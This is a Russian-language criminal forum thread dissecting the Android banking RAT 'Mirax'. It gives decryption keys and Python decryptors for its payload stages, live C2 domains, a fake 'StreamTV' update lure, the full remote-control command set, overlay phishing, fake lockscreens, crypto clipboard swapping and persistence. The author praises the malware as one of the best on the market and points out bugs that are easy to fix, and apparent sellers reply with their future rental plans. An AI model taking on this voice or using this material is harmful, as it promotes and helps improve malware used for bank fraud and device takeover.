LIMB
Вход Регистрация

тема

Mirax - лучший из Android RAT на рынке, на мой взгляд..

bezmyatezhnost · · 3 ответов · 101 просмотров

Всех приветствую. Сегодня разберём по косточкам андроид-бот Mirax. Продаётся как приватный RAT с HVNC, инжектами, кейлоггером, reverse proxy и прочим фаршем за 2500$/мес (full) и 1750$/мес (light). Заявлено 700+ инъекций, поддержка китайских устройств, автокрипт, multi-builder. Звучит крайне жирно.

Не удалось прогрузить медиа

​
Собран на Gradle 8.11.1, Kotlin 2.0.21, targetCompatibility Java 11. Первое что бросается в глаза - APK запакован кастомным криптором. ZIP-заголовки намеренно повреждены: AndroidManifest.xml имеет compression method 35596 (стандартные - 0 stored или 8 deflate). Из-за этого aapt, apktool и jadx не могут открыть APK напрямую. Но 7z и unzip справляются с извлечением файлов без проблем, а DEX-файлы лежат незашифрованными.

Не удалось прогрузить медиа

Не удалось прогрузить медиа

​
Внутри 8 DEX-файлов (classes.dex - classes8.dex), ~4 МБ суммарно. Плюс assets с кучей файлов от легитимного приложения HiBy Music (китайский музыкальный плеер). SQL-файлы в assets - это миграции БД музыкального плеера (таблицы AudioItem, Album, Artist, NewPlaylist). Bootstrap, jQuery, SVG-иконки, HTML-документация HiBy Music - всё это мусор от приложения-донора, которое использовали как оболочку.

Собственно малварный код живёт всего в трёх пакетах:
  • net.fish.stage - класс Mmarginsalmon (Application, дроппер/лоадер stage 1)
  • c.b.a - утилита инъекции DEX в classpath
  • c.a.a.a - вспомогательный XML-парсер

759 классов из jadx, из них 99% - легитимный код HiBy Music и стандартные библиотеки (androidx, kotlin, lottie, zxing barcode scanner). Малвари - буквально 3 класса.

Не удалось прогрузить медиа

​
Главный класс net.fish.stage.Mmarginsalmon наследует Application. Это точка входа всего APK. Что он делает:

1. В attachBaseContext() создаёт директорию context.getDir("design", 0)
2. Ищет в assets файл YuDPAJ.ico по обфусцированному пути (70+ вложенных папок с мусорными именами типа xssplyЫ¦Ы–qbeydЫ«/susklawxxxЫ¦Ы–Ы«zzojd/...)
3. Расшифровывает его RC4 с ключом "AXKmgef"
4. Распаковывает полученный ZIP
5. Загружает извлечённые DEX-файлы в runtime через рефлексию

Ключевые поля класса:
Code:
public String n = "design";          // имя директории для payload
public String o = "YuDPAJ.ico";       // имя зашифрованного файла
public String z = "AXKmgef";          // RC4 ключ
public String y = "xssplyЫ¦Ы–qbeyd..."; // обфусцированный путь к файлу в assets

Сам RC4 реализован прямо в методе a(byte[]) - стандартный KSA + PRGA, но обвешан тоннами junk-кода. Буквально каждая строчка обёрнута бессмысленными арифметическими операциями над статическими полями b, c, d, e, f, g, h, i. 

Code:
int i4 = (i2 * 305966 * i3) + (186128 * i2);
b = i4;
int i5 = i;
g = ((i5 - 653655219) + i3) - g;
int i6 = (i4 - 711742) + i3;
d = i6;
// а потом просто fileInputStream = new FileInputStream(str);

Между двумя полезными строками кода - 10-15 строк мусора. Классический приём антианализа.

Класс c.b.a.a отвечает за инъекцию загруженных DEX в classpath через рефлексию. Использует getDeclaredField() для доступа к internal полям ClassLoader, создаёт новый массив с добавленными DEX и подставляет его обратно.

Не удалось прогрузить медиа

​
И как мне подсказали со стороны, это всё Golden Crypt. Сами же Mirax сотрудничает с ними.

Не удалось прогрузить медиа

​
РАТ'ник от NMZ a.k.a Albriox тоже сотрудничает/сотрудничал с ними, ибо в прошлом разборе была именно такой же крипт. Щёлкается он как орешки, но выглядит страшновато. С течением времени уже привыкаешь к такому.

Не удалось прогрузить медиа

​
Расшифровываем YuDPAJ.ico руками:

Code:
key = b"AXKmgef"
with open("YuDPAJ.ico", "rb") as f:
    data = f.read()

S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + key[i % len(key)]) % 256
    S[i], S[j] = S[j], S[i]

i = j = 0
out = bytearray()
for byte in data:
    i = (i + 1) % 256
    j = (j + S[i]) % 256
    S[i], S[j] = S[j], S[i]
    out.append(byte ^ S[(S[i] + S[j]) % 256])

На выходе - ZIP (magic PK\x03\x04), 3.7 МБ. Внутри два DEX: classes.dex (9.7 МБ) и classes2.dex (272 КБ). Это уже и есть дальнейшая цепочка.

Не удалось прогрузить медиа

​
Декомпилируем его до конца. 3352 класса, но после фильтрации androidx/kotlin/google остаётся пакет org.lgvvfj.pluscqpuj - это и есть ядро.  Смотрим сразу же билдконфиг, и уже имеем частичные карты на руках.

Code:
public final class BuildConfig {
    public static final String APP_NAME = "StreamTV";
    public static final String IMPLANT_PACKAGE_NAME = "org.yjeiwd.plusdc71";
    public static final String STATS_REPORT_URL = "https://descarga-smtr.com/report.php";
    public static final String ACCESSIBILITY_CHECK_URL = "https://descarga-smtr.net/install_finish.html";
    public static final String RESOURCE_KEY = "98598ff8adea1de916c1ff1283a2f003eb6a95b026cf7bd1021a1970896d488d";
    public static final String LAUNCH_MODE = "accessibility_check";
    public static final String VERSION_NAME = "3.12.21";
}

Не удалось прогрузить медиа

​
Payload организован достаточно чисто - контейнер (NahuLoadergns) с инициализацией всех компонентов:

Code:
securePreferences    -> encrypted SharedPreferences
apkDownloader        -> MabisAdapter09i (загрузка APK с retry)
c2PollingService     -> DataResourceLoader41r (запросы на C2)
installerRepository  -> SexokicAdapterrwg (установка APK)
downloadApkUseCase   -> JuqanHandler40x (управлялка загрузки)
checkAppInstalledUseCase -> JuladogControllerb69 (проверка установки)
launchAppUseCase     -> JaqeController2vm (запуск импланта)

1. CustomActionHandlerae8.onCreate() - точка входа, проверяет установлен ли имплант
2. Если нет - показывает QijoController9ml (фейковый UI "StreamTV")
3. Пользователь видит красивую страницу на испанском: "Actualiza StreamTV" с кнопкой "Actualizar"
4. При нажатии - LicepeHelper7sx запускает state machine: Idle -> Loading -> DownloadingApk -> InstallingApp -> AppInstalled -> AppLaunched
5. DataResourceLoader41r делает HTTP POST на C2 за метаданными APK (URL, checksum, package name)
6. MabisAdapter09i скачивает APK с retry (3 попытки, backoff 2 сек), верифицирует MD5/SHA256, сохраняет как zbtqxgbk.dat
7. SexokicAdapterrwg устанавливает APK через system installer
8. JaqeController2vm запускает имплант
9. Дроппер убивает свой процесс чтоб скрыть следы

На каждом шаге шлются данные на C2 через QagubarHelper9tc:

Code:
Events: "dropper_opened", "install_started", "install_completed", 
        "install_failed", "implant_launched"

JSON POST -> https://descarga-smtr.com/report.php
{
    "device_id": <Android ID>,
    "android_version": <...>,
    "device_model": <...>,
    "manufacturer": <...>,
    "brand": <...>,
    "dropper_version": "3.12.21",
    "implant_package": "org.yjeiwd.plusdc71",
    "event_type": <...>,
    "timestamp": <...>
}

Не удалось прогрузить медиа

Не удалось прогрузить медиа

​

В assets лежит HTML-страница zrhdocjagltc.html - социнженерная обёртка на испанском. Тёмная карточка с градиентами, логотип "StreamTV" с кнопкой play, инструкция:

1 - Haz click en Actualizar.
2 - Concede el permiso de Fuentes Desconocidas.
3 - Instalar
3 - Espera a que finalice la instalación.

Кнопка "Actualizar" запускает JS с фейковым прогресс-баром. Когда доходит до 100% - вызывает Android.start() через JS bridge. Жертва думает что обновляет StreamTV, а на самом деле ставит имплант.

Не удалось прогрузить медиа
​

В целом stage 2 неплохо прикрыт от автоматики. Кастомный криптор с побитыми ZIP-заголовками (compression method 35596) - стандартные RE-тулзы просто отказываются открывать APK. Opaque predicates в stage 1 засыпают аналитика мусорными арифметическими операциями - между двумя полезными строками по 10-15 строк junk. RC4 шифрование payload - без ключа "AXKmgef" дальше первого stage'а не уедешь. После установки импланта дроппер убивает собственный процесс - меньше следов. И вишенка: задержки от 3 до 20 секунд между шагами чтоб sandbox-детекторы не успели поймать всю цепочку за один прогон.

Не удалось прогрузить медиа

​
Отдельно хочу отметить как они спрятали дроппер. В качестве оболочки взяли HiBy Music - легитимный китайский аудиоплеер. Затащили все его ресурсы, SQL-миграции, HTML-документацию, SVG-иконки, нативные библиотеки. В итоге jadx показывает 759 классов от HiBy + androidx, а малвари буквально 3 класса. Иголка в стоге сена. Библиотеки com.caverock.androidsvg, com.ailet.common.* (crop, barcode, animation/lottie, connectivity) - всё донорское, всё для вида.

Не удалось прогрузить медиа

​
Казалось бы, дроппер скачал и установил имплант org.yjeiwd.plusdc71, на этом всё. Но нет. Полезли в ресурсы установленного APK и обнаружили res/raw/lib_data_kcvm.bin. Расшифровываем XOR'ом с ключом из BuildConfig.RESOURCE_KEY:
Code:
hex_key = "98598ff8adea1de916c1ff1283a2f003eb6a95b026cf7bd1021a1970896d488d"
key = bytes.fromhex(hex_key)
with open("lib_data_kcvm.bin", "rb") as f:
    data = f.read()
out = bytearray(len(data))
for i in range(len(data)):
    out[i] = data[i] ^ key[i % len(key)]

И на выходе - ещё один APK, 10.5 МБ. Открываем, а там... дежавю. Тот же самый паттерн что и в первом. Application класс Haspectneed, RC4 ключ "ZoKlOw", payload kmmWMMo.html спрятанный в директории mushroom за стеной из 80+ обфусцированных папок. Настоящая матрёшка:

1. Stage 1 (исходный APK) - криптор, RC4 "AXKmgef" -> stage 2
2. Stage 2 (decrypted_payload.zip) - дроппер "StreamTV", XOR RESOURCE_KEY -> stage 3
3. Stage 3 (implant.apk) - ещё один дроппер, RC4 "ZoKlOw" -> stage 4 (реальный бот)

Расшифровываем уже 4 часть, получаем ZIP с двумя DEX-файлами. Декомпилируем и наконец добираемся до настоящего ядра. Три уровня шифрования, три разных ключа, три разных алгоритма, и всё для того чтобы добраться до одного пакета.

Не удалось прогрузить медиа
​

Первым делом ищем куда эта штука звонит домой. Два домена вшиты в код:
Code:
ilovepng.info
googleauth.pro
Названия подобраны максимально невинно - кто заподозрит трафик на "ilovepng.info"? Архитектура связи - это два вебсокета, и вот тут видно что автор не залётный. Два независимых канала, каждый под своё:

Code:
Control channel (порт 8443/WSS) - /control
  -> команды, хэндшейк, управление устройством

Data channel (порт 8444/WSS) - /data
  -> экcфильтрация: скриншоты, кейлоги, камера, SMS

SOCKS5 tunnel (порт 8445) - /tunnel
  -> reverse proxy через устройство жертвы

Не удалось прогрузить медиа

​
Все команды зарегистрированы в DualWebSocketProvider.registerDefaultHandlers(), и список большой.

Code:
home / back / recents          - системные кнопки через accessibility
blackScreen                    - полный чёрный экран (скрыть активность)
blackScreen_updating           - фейковый "Android is updating" с прогрессом
blackScreen_unlock             - фейковый экран разблокировки
layout_updates_start/stop      - стрим accessibility tree (10 FPS)
startScreenSharing             - MediaProjection захват экрана
startVncScreenSharing          - VNC через AccessibilityService.takeScreenshot()
click / tap / swipe / scroll   - инъекция жестов через accessibility
longPress / long_click         - долгое нажатие
text                           - ввод текста в фокусное поле
getClipboard / setClipboard    - чтение/запись буфера обмена (крипто-свап)
getKeylogs / clearKeylogs      - дамп кейлоггера
getInstalledApps               - список всех приложений
getDeviceState                 - полный fingerprint устройства
getKeyguardInfo                - тип экрана блокировки
startCamera / stopCamera       - скрытая трансляция камеры (фронт/тыл, 1-60 FPS)
enableUninstallProtection      - включить защиту от удаления
disableUninstallProtection     - выключить
socks5_enable                  - включить SOCKS5 reverse proxy
socks5_status_request          - статус прокси
openApp                        - запуск любого приложения по package name
showNotification               - фейковое уведомление от имени любого приложения
wakeDevice / lockDevice        - пробуждение / блокировка экрана
unlockDevice                   - разблокировка через accessibility
mute                           - включить режим "не беспокоить"
enableNeverSleep               - запретить уход в сон
forceReconnect                 - переподключение к C2

По сути полноценный пульт от чужого телефона. 

Не удалось прогрузить медиа


Не удалось прогрузить медиа
​

А теперь к хлебу насущному - ради чего вся эта конструкция вообще существует. HtmlInjectionManager отвечает за оверлей-фишинг, и работает это красиво. Подгружаются с C2 в рантайме - оператор может добавлять новые банки на лету, без пересборки APK. Механизм такой: жертва открывает банковское приложение, AccessibilityService ловит событие, сверяет package name с конфигом, и если совпало - рисует WebView с фишинговой формой поверх настоящего приложения. Жертва вводит логин-пароль думая что это банк, а данные улетают через HtmlDataReceiver как html_data_captured на data канал. Но инъекциями дело не ограничивается. Есть три типа фейковых экранов блокировки: PatternLockView (графический ключ), PINLockView (PIN-код) и PasswordLockActivity (текстовый пароль). А PackageMonitor мониторит 80+ триггерных пакетов - настройки, лаунчеры, системные UI, антивирусы от всех вендоров. Открыл настройки чтоб удалить подозрительное приложение? Получи фейковый lockscreen, введи PIN, спасибо за содействие.

Не удалось прогрузить медиа
​

Отдельная жемчужина - полноценная реализация SOCKS5 reverse proxy через WebSocket туннель на порту 8445. Внутри используется Yamux мультиплексирование (YamuxSession) - каждое соединение создаёт отдельный стрим, StreamHandler обрабатывает CONNECT-запросы и пробрасывает трафик. Зачем это нужно? Oператор подключает антидетект-браузер через этот прокси и заходит в банк жертвы. Весь трафик идёт с IP устройства, антифрод видит легитимный IP + знакомый fingerprint. Авторизация через X-Device-ID + Authorization: Bearer njrty, максимум 100 одновременных соединений.

Не удалось прогрузить медиа

​
Закреп тут многослойный и довольно параноидальный. Пять сервисов образуют мэш сеть и мониторят друг друга: beginSrvs, TscTscbltService, bgPratcia, newhelperservice, ResilientProtectionService. Если один падает - остальные поднимают его за 5 секунд. За оркестрацию отвечает AdvancedProcessRecoveryManager - он использует сразу три механизма: WorkManager (системный планировщик), AlarmManager (аварийный таймер на случай если WorkManager убьют) и coroutine петли (программный мониторинг на случай если убьют и AlarmManager). PermissionLossProtection каждые 10-30 секунд проверяет accessibility, камеру, уведомления, device admin. Отозвал пользователь разрешение, бот пытается прожать его заново. PowerManagementUtils держит WakeLock + WiFi lock + обходит battery saver, причём с поддержкой китайцев: Xiaomi (MIUI survival mode), Huawei (игнор battery optimization), OPPO/Vivo (autostart manager), Samsung (device care whitelist), ZTE, Transsion (Tecno/Infinix/itel). А глобальный crash handler ловит вообще все необработанные исключения и шлёт крэш-репорт на C2 с полным стектрейсом - разработчик узнает о проблеме раньше жертвы.

Не удалось прогрузить медиа

​
Ок, функционал расписали, звучит грозно. Но мы же тут не рекламу пишем. Давайте откроем jadx, залезем в sources/org/yjeiwd/plusdc71/appcontainer/ и посмотрим как оно на самом деле написано. Спойлер: есть и хорошее, и очень плохое.

Открываем core/PriorityMessageQueue.java. Через него идут ВСЕ сообщения между ботом и C2. Четыре приоритетных очереди на базе ArrayList:

Code:
private final List<JSONObject>[] queues;  // 4 очереди

public PriorityMessageQueue(int i) {
    this.maxSize = i;
    List<JSONObject>[] listArr = new List[4];
    for (int i2 = 0; i2 < 4; i2++) {
        listArr[i2] = new ArrayList();
    }
    this.queues = listArr;
}

public final int size() {
    int size;
    int i = 0;
    for (List<JSONObject> list : this.queues) {
        synchronized (list) {     // <-- synchronized только тут
            size = list.size();
        }
        i += size;
    }
    return i;
}

Заметили? synchronized стоит только в size(). А enqueue/dequeue работают с теми же ArrayList'ами без какой-либо блокировки. ArrayList не thread-safe. Control канал и data канал пишут из разных потоков - и вот вам data race, потерянные сообщения, ConcurrentModificationException. Оператор шлёт "заблокируй экран" - а команда молча пропадает.

Code:
package org.yjeiwd.plusdc71.appcontainer.core;

import androidx.constraintlayout.widget.ConstraintLayout;
import java.util.ArrayList;
import java.util.List;
import kotlin.Metadata;
import org.json.JSONObject;

/* compiled from: DualWebSocketManager.kt */
@Metadata(d1 = {"\u0000\"\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0010\u0011\n\u0002\u0010!\n\u0002\u0018\u0002\n\u0002\b\u0003\b\u0002\u0018\u00002\u00020\u0001B\r\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0002\u0010\u0004J\u0006\u0010\n\u001a\u00020\u0003R\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010\u0005\u001a\u000e\u0012\n\u0012\b\u0012\u0004\u0012\u00020\b0\u00070\u0006X\u0082\u0004¢\u0006\u0004\n\u0002\u0010\t¨\u0006\u000b"}, d2 = {"Lorg/yjeiwd/plusdc71/appcontainer/core/PriorityMessageQueue;", "", "maxSize", "", "(I)V", "queues", "", "", "Lorg/json/JSONObject;", "[Ljava/util/List;", "size", "app_release"}, k = 1, mv = {1, 9, 0}, xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
final class PriorityMessageQueue {
    private final int maxSize;
    private final List<JSONObject>[] queues;

    public PriorityMessageQueue(int i) {
        this.maxSize = i;
        List<JSONObject>[] listArr = new List[4];
        for (int i2 = 0; i2 < 4; i2++) {
            listArr[i2] = new ArrayList();
        }
        this.queues = listArr;
    }

    public final int size() {
        int size;
        int i = 0;
        for (List<JSONObject> list : this.queues) {
            synchronized (list) {
                size = list.size();
            }
            i += size;
        }
        return i;
    }
}

Не удалось прогрузить медиа
​

core/AdvancedProcessRecoveryManager.java, метод startImmediateServiceRecovery():

Code:
List listOf = CollectionsKt.listOf((Object[]) new Class[]{
    beginSrvs.class, newhelperservice.class, 
    bgPratcia.class, ResilientProtectionService.class
});
while (it.hasNext()) {
    cls = (Class) it.next();
    if (!advancedProcessRecoveryManager.isServiceRunning(cls)) {
        advancedProcessRecoveryManager.context.startForegroundService(
            new Intent(advancedProcessRecoveryManager.context, cls));
        // задержка 1с
    }
}

Нет лимита на количество попыток. Вообще. Если сервис крэшится сразу после startForegroundService() (а на Android 12+ с foreground service restrictions это вполне реальный сценарий) - recovery запускается заново из трёх независимых источников. Каждый поднимает coroutine на IO dispatcher. IO dispatcher в Kotlin - unbounded thread pool. Результат: бесконечный цикл рестартов, CPU на 100%, батарея тает на глазах, телефон жертвы начинает греться и тормозить настолько что она заподозрит неладное и понесёт его в сервис.

Не удалось прогрузить медиа

​
В core/ClipboardAccessManager.java есть флаг:

Code:
private static final AtomicBoolean isOperationPending = new AtomicBoolean(false);

Ставится в true перед запуском clipboard-операции через foreground activity. Timeout через 5 секунд должен сбросить обратно. Но если startActivity() бросит исключение (а на Xiaomi/Huawei с их кастомными permission manager'ами это обычное дело) - catch блок ловит exception, но флаг не сбрасывает. Всё. isOperationPending навсегда true. Все дальнейшие операции, включая крипто-свап, ключевую функцию бота - заблокированы до перезагрузки устройства. Одно неудачное чтение буфера обмена, и считай подмены крипто-адресов больше нет.

Не удалось прогрузить медиа

​
Баги - это полбеды, они проявляются не всегда. А вот архитектурные решения - это то что работает (точнее не работает) всегда. Один С2 и это главный косяк всего проекта. Открываем core/DualWebSocketManager.java:

Code:
private static final List<String> SERVER_HOSTS = CollectionsKt.listOf("ilovepng.info");

Один домен в списке. Один. Да, googleauth.pro вшит в NativeUtils.getDecryptedWebSocketUrl(), но он нигде не подключён к DualWebSocketManager как failover. Для RaaS за 2500$/мес это ужас, почему-то даже в малваре, которая была нацелена на граждан РФ этот момент делали лучше через 4 прокси, и если дропнется одна, другая встанет. Одна заявка на абузу - и клиенты теряют все свои ботнеты. (я не понимаю почему так, но это судя по всему распространенная проблема, наблюдал аналогичное и в другом ратнике)

Не удалось прогрузить медиа

​
А чего мы всё только о плохом?!..- О хорошем тоже надо поговорить, а именно преимуществ перед конкурентами. И их немало. Разделение на control (8443) и data (8444) - не для красоты. В DualWebSocketManager определены два листа команд.

Code:
CONTROL_MESSAGE_TYPES = setOf("ping", "pong", "androidHandshake", "command", 
    "gesture", "viewerControl", "enableUninstallProtection", "socks5_enable")(

DATA_MESSAGE_TYPES = setOf("screenUpdate", "screenFrame", "vncScreenFrame", 
    "keylog_batch", "camera_frame", "sms_batch", "html_data_captured", 
    "socks5_status")

Тяжёлые данные (внц на 15 FPS, камера в 4K, SMS-дампы) не забивают канал управления. Оператор может послать команду мгновенно даже при активном VNC-стриме. Большинство RAT'ов гоняют всё через один сокет и потом удивляются почему команды доходят с задержкой в 10 секунд при активном стриме.

Не удалось прогрузить медиа


Четыре уровня приоритета в очереди - критические команды (lock, wipe, disableProtection) пролетают мимо очереди скриншотов. Если оператору нужно срочно заблокировать экран или снять protection - это не будет ждать пока прокачается пачка из 500 кейлогов. Автору спасибо, что подумал и о реальных кейсах использования!)
Не удалось прогрузить медиа
​

Code:
private final long getThrottleMs() {
    return isVncActive() ? this.VNC_ACTIVE_THROTTLE_MS : this.BASE_THROTTLE_MS;
}
// BASE_THROTTLE_MS = 100, VNC_ACTIVE_THROTTLE_MS = 250

Когда VNC активен - throttle увеличивается с 100ms до 250ms, чтобы accessibility tree updates не сожрали весь канал. Плюс фильтрация по типу ивента: TYPE_WINDOW_STATE_CHANGED и TYPE_WINDOW_CONTENT_CHANGED проходят без throttle, остальные фильтруются. Без этого accessibility tree на 10 FPS убил бы любой канал.

Не удалось прогрузить медиа
​

PowerManagementUtils детектит вендора и подстраивает поведение под каждого: Xiaomi (MIUI survival mode), Huawei (игнор battery optimization), OPPO/Vivo (autostart manager), Samsung (device care whitelist), ZTE, Transsion (Tecno/Infinix/itel). 90% RAT'ов дохнут на китайских прошивках из-за aggressive battery optimization, но не этот)

Не удалось прогрузить медиа

​
Скажу честно - на мой взгляд это один из лучших Android RAT'ов что я видел за последнее время. По функционалу, тут реально всё что нужно и даже больше. Dual WebSocket на два независимых канала с приоритетными очередями - грамотное разделение, которое я у конкурентов просто не встречал. Большинство ботов гоняют скриншоты и команды через один сокет и удивляются лагам. Тут control канал всегда свободен, даже когда по data летит VNC-стрим на 15 FPS. Два режима VNC, HTML-инъекции с динамической подгрузкой шаблонов с C2, фейковые lockscreen'ы трёх типов, SOCKS5 reverse proxy через Yamux, кейлоггер, скрытая камера до 4K, клипборд-свапер, мониторинг 80+ пакетов. Но что реально выделяет Mirax на фоне остальных - это работа с китайскими прошивками. OEM-хаки для Xiaomi, Huawei, OPPO, Vivo, Samsung, ZTE, Transsion, обход battery saver, autostart manager, device care. 90% RAT'ов просто дохнут на MIUI через час после установки. Этот - нет. Пять сервисов в mesh-сети поднимают друг друга за 5 секунд через три независимых механизма. Адаптивный тротл для accessibility events. Clipboard с тремя fallback'ами под разные API. Три типа экрана блокировки. Каждая из этих штук по отдельности - ничего особенного. Но когда всё вместе, аккуратно интегрировано и реально работает на живых устройствах - это уже уровень. Да, баги есть. Гонка в очередях, мёртвый лок на clipboard. Один C2 домен - серьёзный косяк для продакшна. Но это всё фиксится за неделю работы, а архитектурный фундамент - крепкий. Всем пока, не болейте! 


















​
👍8 ❤️2 👏1 💯1
@MiraxBot вот эти ребята
+ реп за старания

пару моментов, данный апк старых версий, и аренда у нас уже закрыта давным давно, были в привате с одной командой 
и работали над формированием своих команд
добавили уйму фиксов и нового функционала, кстати и тех про которые писал автор. Если и будем снова выходить в Maas ( не Raas как написал автор, видимо ошибся )) 
то цена будет х3-х4 от той что была

всем добра и хорошей работы !
👍5 ❤️1
Ответcybergangster

@MiraxBot вот эти ребята

Так же прошу обратить внимание, что это ссылка не на тг юз, потому что кто то уже повелся на тг фейки. Это именно ссылка на наш профиль на данном форуме.
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.